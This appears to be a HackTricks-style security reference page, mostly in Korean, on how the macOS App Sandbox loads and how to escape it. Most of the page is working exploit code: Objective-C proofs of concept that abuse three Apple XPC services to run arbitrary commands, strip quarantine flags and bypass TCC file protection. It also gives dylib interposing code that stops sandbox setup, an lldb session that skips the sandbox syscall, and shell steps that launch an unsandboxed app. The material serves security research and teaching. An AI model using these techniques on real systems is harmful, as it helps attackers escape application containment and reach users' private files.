macOS Sandbox Debug & Bypass

Reading time: 14 minutes

Sandbox loading process

이전 이미지에서 샌드박스가 어떻게 로드되는지 관찰할 수 있습니다. 이는 com.apple.security.app-sandbox 권한이 있는 애플리케이션이 실행될 때 발생합니다.

컴파일러는 /usr/lib/libSystem.B.dylib를 바이너리에 링크합니다.

그런 다음, **libSystem.B**는 여러 다른 함수를 호출하여 **xpc_pipe_routine**이 앱의 권한을 **securityd**에 전송할 때까지 진행합니다. Securityd는 프로세스가 샌드박스 내에서 격리되어야 하는지 확인하고, 그렇다면 격리합니다.
마지막으로, 샌드박스는 **__sandbox_ms**에 대한 호출로 활성화되며, 이는 **__mac_syscall**을 호출합니다.

Possible Bypasses

Bypassing quarantine attribute

샌드박스화된 프로세스에 의해 생성된 파일은 샌드박스 탈출을 방지하기 위해 격리 속성이 추가됩니다. 그러나 샌드박스화된 애플리케이션 내에서 격리 속성이 없는 .app 폴더를 생성할 수 있다면, 앱 번들 바이너리를 **/bin/bash**로 가리키게 하고 plist에 몇 가지 환경 변수를 추가하여 **open**을 악용하여 새 앱을 샌드박스 없이 실행할 수 있습니다.

이것은 CVE-2023-32364에서 수행된 작업입니다.

Abusing Open functionality

Word 샌드박스 우회에 대한 마지막 예시에서 open CLI 기능이 샌드박스를 우회하는 데 어떻게 악용될 수 있는지 확인할 수 있습니다.

macOS Office Sandbox Bypasses

Launch Agents/Daemons

애플리케이션이 샌드박스화되도록 설계되었더라도 (com.apple.security.app-sandbox), 예를 들어 LaunchAgent (~/Library/LaunchAgents)에서 실행되면 샌드박스를 우회할 수 있습니다.
이 게시물에서 설명한 바와 같이, 샌드박스화된 애플리케이션으로 지속성을 얻으려면 LaunchAgent로 자동 실행되도록 만들고 DyLib 환경 변수를 통해 악성 코드를 주입할 수 있습니다.

Abusing Auto Start Locations

샌드박스화된 프로세스가 나중에 샌드박스 없이 실행될 애플리케이션이 바이너리를 실행할 위치에 쓸 수 있다면, 그곳에 바이너리를 배치하여 탈출할 수 있습니다. 이러한 위치의 좋은 예는 ~/Library/LaunchAgents 또는 /System/Library/LaunchDaemons입니다.

이를 위해서는 2단계가 필요할 수 있습니다: 더 관대 한 샌드박스 (file-read*, file-write*)를 가진 프로세스를 실행하여 실제로 샌드박스 없이 실행될 위치에 코드를 작성하게 합니다.

자동 시작 위치에 대한 이 페이지를 확인하세요:

macOS Auto Start

Abusing other processes

샌드박스 프로세스에서 덜 제한적인 샌드박스(또는 없는 샌드박스)에서 실행 중인 다른 프로세스를 타격할 수 있다면, 그들의 샌드박스를 탈출할 수 있습니다:

macOS Process Abuse

Available System and User Mach services

샌드박스는 또한 프로필 application.sb에 정의된 특정 Mach 서비스와 XPC를 통해 통신할 수 있도록 허용합니다. 이러한 서비스 중 하나를 악용할 수 있다면 샌드박스를 탈출할 수 있습니다.

이 글에서 언급된 바와 같이, Mach 서비스에 대한 정보는 /System/Library/xpc/launchd.plist에 저장됩니다. <string>System</string> 및 <string>User</string>를 해당 파일 내에서 검색하여 모든 시스템 및 사용자 Mach 서비스를 찾을 수 있습니다.

또한, bootstrap_look_up을 호출하여 샌드박스화된 애플리케이션에 Mach 서비스가 사용 가능한지 확인할 수 있습니다.

void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}

void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}

사용 가능한 PID Mach 서비스

이 Mach 서비스는 처음에 이 문서에서 샌드박스를 탈출하는 데 악용되었습니다. 그 당시, 애플리케이션과 그 프레임워크에서 요구되는 모든 XPC 서비스가 앱의 PID 도메인에서 볼 수 있었습니다(이들은 ServiceType이 Application인 Mach 서비스입니다).

PID 도메인 XPC 서비스에 연락하기 위해서는, 앱 내에서 다음과 같은 한 줄로 등록하기만 하면 됩니다:

[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];

또한, <string>Application</string>에 대해 System/Library/xpc/launchd.plist 내에서 검색하여 모든 Application Mach 서비스를 찾는 것이 가능합니다.

유효한 xpc 서비스를 찾는 또 다른 방법은 다음의 서비스를 확인하는 것입니다:

find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"

여러 가지 이 기술을 악용한 예시는 원본 작성물에서 찾을 수 있지만, 다음은 요약된 몇 가지 예입니다.

/System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc

이 서비스는 항상 YES를 반환하여 모든 XPC 연결을 허용하며, 메서드 runTask:arguments:withReply:는 임의의 명령을 임의의 매개변수로 실행합니다.

익스플로잇은 "매우 간단했다":

@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end

void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];

[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}

/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc

이 XPC 서비스는 항상 YES를 반환하여 모든 클라이언트를 허용했으며, 메서드 createZipAtPath:hourThreshold:withReply:는 기본적으로 압축할 폴더의 경로를 지정할 수 있게 해주었습니다. 그러면 ZIP 파일로 압축됩니다.

따라서 가짜 앱 폴더 구조를 생성하고 압축한 다음, 이를 풀고 실행하여 샌드박스를 탈출할 수 있습니다. 새로운 파일은 격리 속성이 없기 때문입니다.

익스플로잇은:

@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");

[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];

[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);

sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}

/System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc

이 XPC 서비스는 extendAccessToURL:completion: 메서드를 통해 XPC 클라이언트에 임의의 URL에 대한 읽기 및 쓰기 액세스를 제공합니다. XPC 서비스가 FDA를 가지고 있기 때문에 이러한 권한을 악용하여 TCC를 완전히 우회할 수 있습니다.

익스플로잇은:

@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];

[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];

void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}

정적 컴파일 및 동적 링크

이 연구는 샌드박스를 우회하는 2가지 방법을 발견했습니다. 샌드박스는 libSystem 라이브러리가 로드될 때 사용자 공간에서 적용됩니다. 이진 파일이 이를 로드하는 것을 피할 수 있다면, 샌드박스에 걸리지 않을 것입니다:

• 이진 파일이 완전히 정적으로 컴파일되었다면, 해당 라이브러리를 로드하는 것을 피할 수 있습니다.
• 이진 파일이 어떤 라이브러리도 로드할 필요가 없다면 (링커도 libSystem에 있기 때문에), libSystem을 로드할 필요가 없습니다.

셸코드

셸코드조차도 ARM64에서는 libSystem.dylib에 링크되어야 합니다:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

상속되지 않는 제한

**이 글의 보너스**에서 설명된 것처럼, 샌드박스 제한은 다음과 같습니다:

(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))

새 프로세스가 예를 들어 실행됨으로써 우회될 수 있습니다:

mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app

그러나 물론 이 새로운 프로세스는 부모 프로세스의 권한이나 특권을 상속받지 않습니다.

권한

어떤 작업이 특정 권한이 있는 애플리케이션의 경우 샌드박스에 의해 허용될 수 있다는 점에 유의하십시오.

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Interposting에 대한 자세한 정보는 다음을 확인하세요:

macOS Function Hooking

샌드박스를 방지하기 위해 _libsecinit_initializer를 인터포스트합니다.

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpost __mac_syscall로 샌드박스 방지

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

lldb로 Sandbox 디버그 및 우회

샌드박스되어야 하는 애플리케이션을 컴파일해 보겠습니다:

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

그런 다음 앱을 컴파일합니다:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

echo "Sandbox Bypassed" > ~/Desktop/del.txt

애플리케이션을 디버깅하여 Sandbox가 언제 로드되는지 확인해 봅시다:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

[!WARNING] > 샌드박스를 우회하더라도 TCC는 사용자가 프로세스가 데스크탑에서 파일을 읽는 것을 허용할지 물어볼 것입니다.

References

• http://newosxbook.com/files/HITSB.pdf
• https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/
• https://www.youtube.com/watch?v=mG715HcDgO8